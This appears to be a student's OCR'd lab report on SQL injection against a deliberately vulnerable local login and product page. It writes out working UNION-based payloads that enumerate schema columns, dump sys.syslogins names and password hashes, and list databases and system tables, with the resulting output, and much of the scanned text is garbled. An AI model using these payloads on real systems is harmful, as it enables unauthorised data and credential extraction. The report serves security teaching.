Cedric Fenn

Lab: SQLi

[Task] SQL Injection
Click the link to test out the BAD login page. And answer the following two questions.

1.a Enter “admin” / “monkey” for login. Report the result in a screenshot.

@ Loain x [+ (= o =
&« C @ localhost1247/LoginBad.aspx C - - I
You have been} and logged in

El e @ « | R - « n @ 257mm

1.b Enter "admin" for User Name and any arbitrary password for Password. Report the result in a
screenshot.

Page 1 of 5



Cedric Fenn

@ togn x ¥ L= o .
€« C @ localhost:1247/LoginBad.aspx o % O i
Please Enter vour credentials to Log in:

User Name |admin
Password

Submit
Authenticated Failed
N

ol a2 E 6 - < Iy 2s3PM

2. Use an injection and show that you can log in without using any credentials. Show the injection you
used. Report the result after the successful injection in a screenshot.

Click the link to test out the BAD product page.

3. Click the link at the bottom of the page. Explain how you’ve got that result.

I got the result of username and password by running the SQL injection in the URL.
Stay on the BAD product test page for the remaining questions.

4. Create an injection to figure out Table Name, Column Name in the database you currently are
connected to. Use Union and Information schema view. Report the result in a screenshot. [Hint: Apply
the class slide with the title “Attacks using UNION.”

¢ UNION SELECT 0, TABLE_NAME, COLUMN_NAME FROM
INFORMATION.SCHEMA.COLUMNS —
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@ View List of Products x  NewTab x | -+ =19 N
< C | @ localhost1247/

d.aspx?useriD=%27%20UNION%205ELECT%200,%20TABLE_NAME, %20COLUMN_NAMES20FR. W e H

Getting a List of Products

ProductID ProductName| AssignedTo

0 Products AssignedTo

0 I3 [Products ProductlD

0 Products ProductName,
0 sysdiagrams  |definition

0 |sysdiagrams |diagram_id

0 sysdiagrams  |name

0 sysdiagrams  [principal id

0 'sysdxagrams version

0 Users password

0 :Us ers userID

To check out the normal vse of this page, click here: here

To test SQL mjection, use this injection query string:
' UNION SELECT 0, password, user]D FROM Users --

or click here
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5. Create an injection to list all the logins and their passwords in the current MSSQL instance. Use Union
and Catalog view. Report the result in a screenshot.

¢ UNION SELECT 0, name, password FROM sys.syslogins --

@ view List of Products * NewTah x| + | = | o [
« @ @ localhost1247/ProductsBad.aspxtuseriD=%27%20UNION% 20SELECT%200,%20name,%: I%2OFROM%2Dsys.sysl.. 1t ()

Getting a List of Products

[ProductID| ProductName [ AssignedTo
#2MS_AgeniSigningCeruficatess |
MS_PolicyEventProcessingLoginss 7B [0

(OB ESITE R R T O R CCeE 4R

AS_PolicySigningCertificate==

1S_Policy TsqlExecutionLogin## WEEA YRR ORI N S e T O T RS RS E Co
MS_SmoExtendedSigningCertificatess

AS_SQLAuthenticatorCertificatess |

AS_SQLRephcanonSigningCernficates=

1S_SQLResourceSigningCertificates

cisd83service BB DR OO a B 1o AERE W 4R CIRHEAT D CofCCER S 41
.l_cm&gnﬂmDemch |

NT AUTHORITY NETWORK SERVICE

NT AUTHORITY'\SYSTEM

NT Service MSSQLSERVER.

NT SERVICE ReportServer

NT SERVICE'SQLSERVERAGENT

|NT SERVICE SQLTELEMETRY

|NT SERVICE SQLWriter

NT SERVICE Winmgmt

sa 000 VB RIE Sl R~ D D SOHHE > S DO

WIN-AVPBPOATULM Admimstrator

¢ E——

To check out the normal use of this page, click here: here

To test SQL injection, use this injection query string:

"UNION SELECT 0, password, user]D) FROM Users --
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6. Create an injection to list all the database names in the current MSSQL instance. Use Union and
Catalog view. Report the result in a screenshot.

¢ UNION SELECT 0, name, status FROM sys.sysdatabases --

@ View List of Products ®*  MewTab ® | + HE

&« C @ localhost1247/ProductsBad.aspxtuserD=%2T%20UN ION%205ELECT%200,%20name. % 20status%20FROM¥% 2 0sys.sysdata... 1 EB

Getting a List of Products

ProductID| ProductName l.-'xssigne:l'l'ﬂ
0 AdventureWorks2016CTP3 65544
0 DW Configuration 63336
] DWDHagnostics 3544
0 [DWmeus 63544
0 master 65344
0 model 63336
0 |msdb 63544
0 MyPalTestDB 63536
Oldhowse 65536
RepontServer 3336
[ReportServerTempDB 63344
SQLiTestDB 63336
0 tempdb 65544
0 [WideWarldlmporters 63544

To check out the normal use of this page, click here: here

Ta test SQL myection, use this injection query string:
"UNION SELECT 0, password, userID) FROM Users -

or click here
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7. Create an injection to list all the system tables in the current MSSQL instance. Use Union and Catalog
view. Report the result in a screenshot.

¢ UNION SELECT 0, name, id FROM sys.sysobjects --
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&« = C (@ localhost1247/ProductsBad.aspx?userlD=%2T9%20UNION%20SELECT%:200,%20name, %20id%20FROM%20sys.sysobjects%... 1 e i
Getting a List of Products =
ProductID ProductName AssignedTo
0 sysrscols N 3
0 sysrowsets s
0 sysclones 6
0 sysallocumits 7
0 syafilesl 8
0 sysseobjvalues 9
0 syspriorities 17
0 sysdbfrag 18
0 sysfgfrag 19
0 sysdbfiles 20
0 SYSpIU 21
0 sysbrickfiles 22
0 sysphfg 23
0 sysprufiles 24
0 sysftinds 25
0 SYSOWHETS 27
0 sysdbreg 28
0 SVSPIIVS 29
0 sysschobys 34
0 SYSCSTOWEroups 35
0 SYSEXTSources 36
0 sysexttables 37
0 sysextfileformats 38
0 sysmultiobyvalues 40
0 syscolpars 41
0 42
0 43
0 44
( d hd
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